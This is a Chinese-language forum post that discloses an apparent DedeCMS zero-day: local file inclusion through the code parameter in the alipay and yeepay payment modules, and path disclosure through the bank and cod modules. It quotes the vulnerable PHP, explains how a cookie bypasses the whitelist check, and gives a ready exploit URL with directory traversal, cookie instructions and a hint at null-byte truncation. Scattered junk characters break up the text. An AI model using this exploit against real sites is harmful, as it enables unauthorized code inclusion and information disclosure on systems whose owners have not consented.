dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
) U# [/ T$ ?+ B+ F: x" d) A( k
出现漏洞的两个文件为：
. Z+ S, O: l0 z; ^4 eInclude/payment/alipay.php
' W! h' q2 a! \: V2 e% ]* V1 @Include/payment/yeepay.php
) k$ Z0 {3 H4 N! ~2 W/ y, X漏洞均出现在respond方法里，估计这两个文件是临时工写的。

2 v$ o/ L/ B/ h( F6 k0 H; MInclude/payment/alipay.php
+ E& ~- }, M) j% _9 h; S
0 m% E9 m4 \. D! a* G......
& x8 f+ {4 ^; x! C7 W& k! [   function respond()
  ^& p9 \: z/ [+ U    {
8 \& T( ^& f1 e% F1 Z8 z        if (!empty($_POST))
        {
  Q, v9 S0 I& k8 |0 L. B+ L            foreach($_POST as $key => $data)
; Q* r6 |! z. r8 n( l1 o0 C8 L& f- ]            {
                $_GET[$key] = $data;
, n$ S9 N) f0 m% ^9 J5 w( F            }
        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
( m5 f8 `7 }/ s" f) o% ^......

. E( ~7 ^, K: j, H
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php
# V8 _! \1 O6 m' b6 U; X

- O* E2 |$ F9 [7 w: A
......
    function respond()
0 h1 j% n. g' Z  H    {

        /* 引入配置文件 */
7 L- z' Q% X! V6 X/ o2 e% H1 \        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

# s9 Y! L7 ?" ~$ }- f        $p1_MerId = trim($payment['yp_account']);
1 ]/ @* Q5 }4 J0 d5 X" g        $merchantKey = trim($payment['yp_key']);
& x/ k" ?2 N: v7 \......

0 W. W* C- n2 L5 H$ L* g

; A$ i% q5 v" Z! u" x# m
大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
: ^6 j3 ]8 R) G# L) ~
- F$ H* D" i" `% d这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php
4 P0 a: S, I9 j- i* j
% N5 A: o$ O$ M  z......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
7 t  @( o6 b: J6 e    if (in_array($code, $write_list))
& e2 a* N( n2 C$ ?    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
, [4 g5 _& b9 s2 r! h. o& a        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
* W; ?- j- e$ ~2 d) V        exit();  
- }8 S) F2 S. R( Z* M    } else {
, i0 t; b6 W. y1 c        exit('Error:File Type Can\'t Recognized!');
    }
8 `0 R2 F1 P) V; t& X}
: `* G3 N* A! h1 g4 U......
- k' X2 O+ U. ~; l4 Y/ ^* [
* ?2 ~' \7 Q) h  r7 i" q  I! ~& W


* ~' ]+ ^8 C$ C/ o2 E4 X- t8 u( g
' ^! L* Q1 k$ x
0 c, l/ X; @3 N大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

/ m0 W% a5 i6 N2 T! m回到include/common.inc.php来看看他的机制。
' G/ a  k. D' V' y# Y& c

# y7 A9 X7 _7 j  ]8 s
0 s& F2 [8 r9 F......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
......
9 i; Q4 h2 j, j9 B. q* Q3 c大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。